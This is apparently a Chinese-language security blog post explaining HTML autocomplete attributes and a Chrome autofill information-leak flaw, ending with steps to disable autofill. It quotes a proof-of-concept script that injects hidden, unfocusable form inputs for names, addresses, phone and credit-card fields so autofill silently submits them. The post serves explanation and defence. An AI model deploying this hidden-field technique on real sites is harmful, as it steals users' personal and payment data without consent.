Chrome中自動填充的危險性淺析從屬於筆者的網絡信息安全攻防實戰。筆者最先是在 Github 上看到了有關利用自動填充竊取數據的 POC ,本文是對於自動填充機制及其危險性的分析,參考了Why Chrome’s autocomplete is insecure and how you can turn it off與Autofill: What web devs should know, but don’t。更多參考Web 應用安全基礎。html
自動填充(Autofill)是個很是重要的特性,它能幫助用戶節省不少填寫表單的時間,Google 也曾調查得出過結論users complete forms up to 30% faster。咱們首先來討論下自動填充的工做原理,以及如何構建跨瀏覽器的自動填充表單。git
早年各個瀏覽器之間對於自動填充並無統一的標準,後來HTML5標準中加入了對於autocomplete
屬性的支持,以協調瀏覽器對於表單域的識別。最初autocomplete
屬性僅支持on
與off
兩種取值,默認狀況下是會啓動自動填充功能以方便瀏覽器會將用戶提交過的表單值記錄下來以便複用。後續HTML標準中容許加入更多的標識值,這些標識值會更加精確地告訴瀏覽器應將哪些記錄值對應到哪些表單。譬如咱們常常須要在網頁上填寫地址信息,若是咱們但願瀏覽器可以記錄下經常使用地址信息而且自動補全,那麼可使用以下聲明方式:github
<textarea name="shipping-address" autocomplete="shipping street-address"></textarea> <input type="text" name="shipping-city" autocomplete="shipping address-level2"> <input type="text" name="shipping-state" autocomplete="shipping address-level1"> <input type="text" name="shipping-country" autocomplete="shipping country-name"> <input type="text" name="shipping-postal-code" autocomplete="shipping postal-code">
其餘常見的自動填充的使用場景還包括電話號碼、郵箱地址、即時通訊帳戶等,完整的自動填充標識聲明規範爲:web
[section-](optional) [shipping|billing](optional) [home|work|mobile|fax|pager](optional) [autofill field name]
其中[home|work|mobile|fax|pager]
僅被用於電話、郵箱等場景。而完整的應用場景譬如是填寫收貨地址的收件人電話時:chrome
<label for="foo">Mobile phone for delivery</label> <input type="text" name="foo" id="foo" autocomplete="section-red shipping mobile tel">
最後,咱們來看下自動填充在筆者電腦上的現實效果:
瀏覽器
自動填充是個很是方便地瀏覽器特性,不過該特性在 Chrome 上也會存在必定的信息泄露的風險。Chrome 最近才修復了某個久負盛名漏洞。簡單而言,黑客可以利用自動填充竊取你並不想提交給該網站的信息,就以下面這個動圖:安全
Github 用戶 haampie 使用以下腳本演示了該漏洞:網絡
var autocompletes = ['name', 'honorific-prefix', 'given-name', 'additional-name', 'family-name', 'honorific-suffix', 'nickname', 'username', 'new-password', 'current-password', 'organization-title', 'organization', 'street-address', 'address-line1', 'address-line2', 'address-line3', 'address-level4', 'address-level3', 'address-level2', 'address-level1', 'country', 'country-name', 'postal-code', 'cc-name', 'cc-given-name', 'cc-additional-name', 'cc-family-name', 'cc-exp', 'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type', 'transaction-currency', 'transaction-amount', 'language', 'bday', 'bday-day', 'bday-month', 'bday-year', 'sex', 'url', 'photo', 'tel', 'tel-country-code', 'tel-national', 'tel-area-code', 'tel-local', 'tel-local-prefix', 'tel-local-suffix', 'tel-extension', 'impp' ]; emailField.addEventListener('focus', function() { var wrap = autocompletes.reduce(function(wrapper, field) { var input = document.createElement('input'); // Make them not focussable input.tabIndex = -1; input.autocomplete = field; wrapper.appendChild(input); return wrapper; }, document.createElement('div')); // Hide the wrapper wrap.classList.add('hidden'); form.appendChild(wrap); // Inject the autocompletes once this.removeEventListener('focus', arguments.callee); });
做者是建議你們關閉 Chrome 的自動填充功能,主要步驟爲:app
進入 Chrome 設置:chrome://settings/autofill
ide
關閉當前模態窗口
反選自動填充選項